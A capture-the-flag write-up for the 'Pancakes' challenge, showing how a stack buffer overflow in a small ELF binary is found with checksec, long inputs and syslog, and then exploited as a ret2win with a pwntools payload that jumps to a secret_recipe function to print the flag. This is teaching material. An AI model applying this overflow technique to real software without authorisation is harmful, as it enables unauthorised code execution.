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Pancakes

Problem

How many flap-jacks are on your stack?

Connect with:
nc jh2i.com 50021

pancakes

Solution

We are given an ELF 64-bit LSB executable. Normally, we would want to reverse-engineer or decompile the binary in order to understand what it does. However, this is an easy challenge, and we will try to solve it without any reverse engineering.

When running the binary, we are asked to provide some input:

> ./pancakes
Welcome to the pancake stacker!
How many pancakes do you want?

Let's start by running checksec against the binary to get an idea of the protection mechanisms present.

> checksec pancakes 2> >(sed '3,6!d')
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

We can proceed to test if the binary is vulnerable to buffer overflow by providing a very long string as the input:

> python -c "print('A' * 200)" | ./pancakes
Welcome to the pancake stacker!
How many pancakes do you want?
Cooking your cakes.....
Smothering them in butter.....
Drowning them in syrup.....
They're ready! Our waiters are bringing them out now...
        _____________
       /    ___      \
      ||    \__\     ||
      ||      _      ||
      |\     / \     /|
      \ \___/ ^ \___/ /
      \\____/_^_\____//_
    __\\____/_^_\____// \
   /   \____/_^_\____/ \ \
  //                   , /
  \\___________   ____  /
               \_______/

[1]    7878 done                python -c "print('A' * 200)" | 
       7879 segmentation fault  ./pancakes

We see a segmentation fault. Indeed, the binary is vulnerable.

We can now tail the system logs to see if we were able to override the instruction pointer:

> tail -1 /var/log/syslog
Aug  2 15:56:58 kali kernel: [21197.078532] traps: pancakes[7919] general protection fault ip:40098a sp:7fff0d13d058 error:0 in pancakes[400000+1000]

Judging by the "traps" message, it seems that we overflowed the buffer way too much.

Let's try again with a smaller input.

> python -c "print('A' * 155)" | ./pancakes
Welcome to the pancake stacker!
How many pancakes do you want?
Cooking your cakes.....
Smothering them in butter.....
Drowning them in syrup.....
They're ready! Our waiters are bringing them out now...
        _____________
       /    ___      \
      ||    \__\     ||
      ||      _      ||
      |\     / \     /|
      \ \___/ ^ \___/ /
      \\____/_^_\____//_
    __\\____/_^_\____// \
   /   \____/_^_\____/ \ \
  //                   , /
  \\___________   ____  /
               \_______/

[1]    7959 done                python -c "print('A' * 155)" | 
       7960 segmentation fault  ./pancakes
> tail -2 /var/log/syslog
Aug  2 16:01:00 kali kernel: [21439.310210] pancakes[7960]: segfault at 7f7700414141 ip 00007f7700414141 sp 00007fff7f31cf50 error 14 in libc-2.30.so[7f77e5d63000+25000]
Aug  2 16:01:00 kali kernel: [21439.310249] Code: Bad RIP value.

We can see some 41s in the instruction pointer, which is the hex value of A. Since we passed an input which is 155 characters long, and we overwrote the instruction pointer by 3 As, we can identify that the offset is 152.

If we override the instruction pointer with the address of a function of our choice, that function will be called.

Let's look at the list of symbols in the text (code) section of the binary:

> nm -an pancakes | c++filt | grep " T "
0000000000400648 T _init
0000000000400700 T _start
0000000000400730 T _dl_relocate_static_pie
00000000004007e7 T main
000000000040098b T secret_recipe
0000000000400a00 T __libc_csu_init
0000000000400a70 T __libc_csu_fini
0000000000400a74 T _fini

The secret_recipe function looks interesting.

Let's note its address and write a Python script to call it with the help of pwntools.

Python script

> ./solver.py
[+] Starting local process './pancakes': pid 8234
Welcome to the pancake stacker!
How many pancakes do you want?

[>] Sending payload aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaab    @\x00\x00\x00...
[*] Switching to interactive mode
Cooking your cakes.....
Smothering them in butter.....
Drowning them in syrup.....
They're ready! Our waiters are bringing them out now...
        _____________
       /    ___      \
      ||    \__\     ||
      ||      _      ||
      |\     / \     /|
      \ \___/ ^ \___/ /
      \\____/_^_\____//_
    __\\____/_^_\____// \
   /   \____/_^_\____/ \ \
  //                   , /
  \\___________   ____  /
               \_______/

[*] Got EOF while reading in interactive
$

It seems that the secret_recipe function didn't do anything. Before we try to reverse-engineer the function's code, let's try to create a dummy flag.txt file. Since this is a CTF, there is a big chance that secret_recipe reads the contents of a file called flag.txt.

> echo "flag{test}" > flag.txt
> ./solver.py
[+] Starting local process './pancakes': pid 8234
Welcome to the pancake stacker!
How many pancakes do you want?

[>] Sending payload aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaab    @\x00\x00\x00...
[*] Switching to interactive mode
Cooking your cakes.....
Smothering them in butter.....
Drowning them in syrup.....
They're ready! Our waiters are bringing them out now...
        _____________
       /    ___      \
      ||    \__\     ||
      ||      _      ||
      |\     / \     /|
      \ \___/ ^ \___/ /
      \\____/_^_\____//_
    __\\____/_^_\____// \
   /   \____/_^_\____/ \ \
  //                   , /
  \\___________   ____  /
               \_______/

flag{test}

[*] Got EOF while reading in interactive
$

Our assumption was correct, it was a simple ret2win.